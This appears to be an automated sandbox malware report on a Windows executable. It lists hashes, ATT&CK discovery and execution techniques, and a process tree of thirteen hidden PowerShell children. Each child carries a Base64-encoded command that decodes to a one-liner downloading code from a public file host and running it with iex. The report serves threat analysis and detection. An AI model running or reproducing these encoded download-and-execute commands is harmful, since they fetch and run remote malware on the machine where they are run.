05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3

Analysis

max time kernel
59s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/10/2026, 19:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe
Size 211KB
Sample261003-xsd3hsfa24
SHA256 05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3
MD5 5b2937d791e840ee038da6bbb00f7da6
SHA1 1169852468faf919aa48df611cdbda8fa3d94e49
SHA512 ef477c74a29ab8a680383335c6117c8a40ea7553d73a2742606f72b056133c6a387c00f108dc9f99b1f59afb0da2a67161c9c46bbfb22d7ca23dcb325c365a35
SSDEEP 3072:tbv8FyCBOGSF+e/vGqu5eITvW0WfUPOZBipsbpSY1hbPW8ES4vuI+Dcx:5v8FLCF3G95eBfoOOmZhbgfvb
TLSH
T16D24190A4BEDA58CF1DDE636F1E2BF558FF4A13B1612C18E5898366C6D72FD04272218
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 26 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4824	powershell.exe
9	3684	powershell.exe
10	4828	powershell.exe
11	4460	powershell.exe
12	4616	powershell.exe
13	1932	powershell.exe
14	1708	powershell.exe
15	1540	powershell.exe
16	3760	powershell.exe
17	4528	powershell.exe
18	1776	powershell.exe
19	2212	powershell.exe
20	4664	powershell.exe
36	4824	powershell.exe
37	3684	powershell.exe
38	4828	powershell.exe
47	4460	powershell.exe
48	4616	powershell.exe
49	1932	powershell.exe
50	1708	powershell.exe
51	1540	powershell.exe
52	3760	powershell.exe
53	4528	powershell.exe
54	1776	powershell.exe
55	2212	powershell.exe
56	4664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3760	powershell.exe
2212	powershell.exe
4664	powershell.exe
4828	powershell.exe
4824	powershell.exe
4460	powershell.exe
1540	powershell.exe
4528	powershell.exe
1776	powershell.exe
1708	powershell.exe
3684	powershell.exe
4616	powershell.exe
1932	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe

Enumerates connected drives 3 TTPs 13 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe
4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe
4824	powershell.exe
4828	powershell.exe
3684	powershell.exe
4460	powershell.exe
4460	powershell.exe
4616	powershell.exe
4616	powershell.exe
4824	powershell.exe
4824	powershell.exe
1540	powershell.exe
1540	powershell.exe
1932	powershell.exe
1932	powershell.exe
3684	powershell.exe
3684	powershell.exe
4828	powershell.exe
4828	powershell.exe
3760	powershell.exe
3760	powershell.exe
4528	powershell.exe
4528	powershell.exe
1776	powershell.exe
1776	powershell.exe
2212	powershell.exe
2212	powershell.exe
4460	powershell.exe
4460	powershell.exe
4616	powershell.exe
4616	powershell.exe
1932	powershell.exe
4664	powershell.exe
4664	powershell.exe
1708	powershell.exe
1708	powershell.exe
1540	powershell.exe
1708	powershell.exe
4528	powershell.exe
3760	powershell.exe
1776	powershell.exe
2212	powershell.exe
4664	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	4828	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4608 wrote to memory of 3684	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	89
PID 4608 wrote to memory of 4828	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	91
PID 4608 wrote to memory of 4824	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	93
PID 4608 wrote to memory of 4460	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	95
PID 4608 wrote to memory of 4616	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	97
PID 4608 wrote to memory of 1540	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	99
PID 4608 wrote to memory of 1932	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	101
PID 4608 wrote to memory of 3760	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	103
PID 4608 wrote to memory of 4528	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	105
PID 4608 wrote to memory of 2212	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	107
PID 4608 wrote to memory of 1776	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	109
PID 4608 wrote to memory of 4664	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	111
PID 4608 wrote to memory of 1708	4608	05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe	113

C:\Users\Admin\AppData\Local\Temp\05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe
"C:\Users\Admin\AppData\Local\Temp\05fa47eb51bf23cc5d36b3800d3e064aa8e7d646953d4419f0e155d94f745ea3.exe"
1⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AagB4AG4AawB3AHIAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3684
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AMgB5AGQAdABvAHkAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AdgA3AGcAYwAyAHQAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AYQByAG0AMwAzADUAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4460
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AZgB6AGIAdgBmADAAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AbwBpAHgAaQA5ADkAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1540
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AeAAyAGEAcQA2AGgAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AMABtAHQAegB3AGYAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AeQBpAHUAZQBmAHQAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AYgA2AGcAawBsAG4AIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AbQBvAGoAcgBpAHgAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AcQBpADkAMQB4AGIAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4664
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8ANQBrAG4AcwBoAGsAIAB8ACAAaQBlAHgA
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5
MD5 6195a91754effb4df74dbc72cdf4f7a6
SHA1 aba262f5726c6d77659fe0d3195e36a85046b427
SHA512 ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89
TLSH
T155316C303221B5D84D436F5309286AD5A3FF8749ABA89F5CB569231DCD2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
MD5 06ad34f9739c5159b4d92d702545bd49
SHA1 9152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA512 c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYoFi3jc
TLSH
T169335193E9204E71E1A66F3EF15652227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download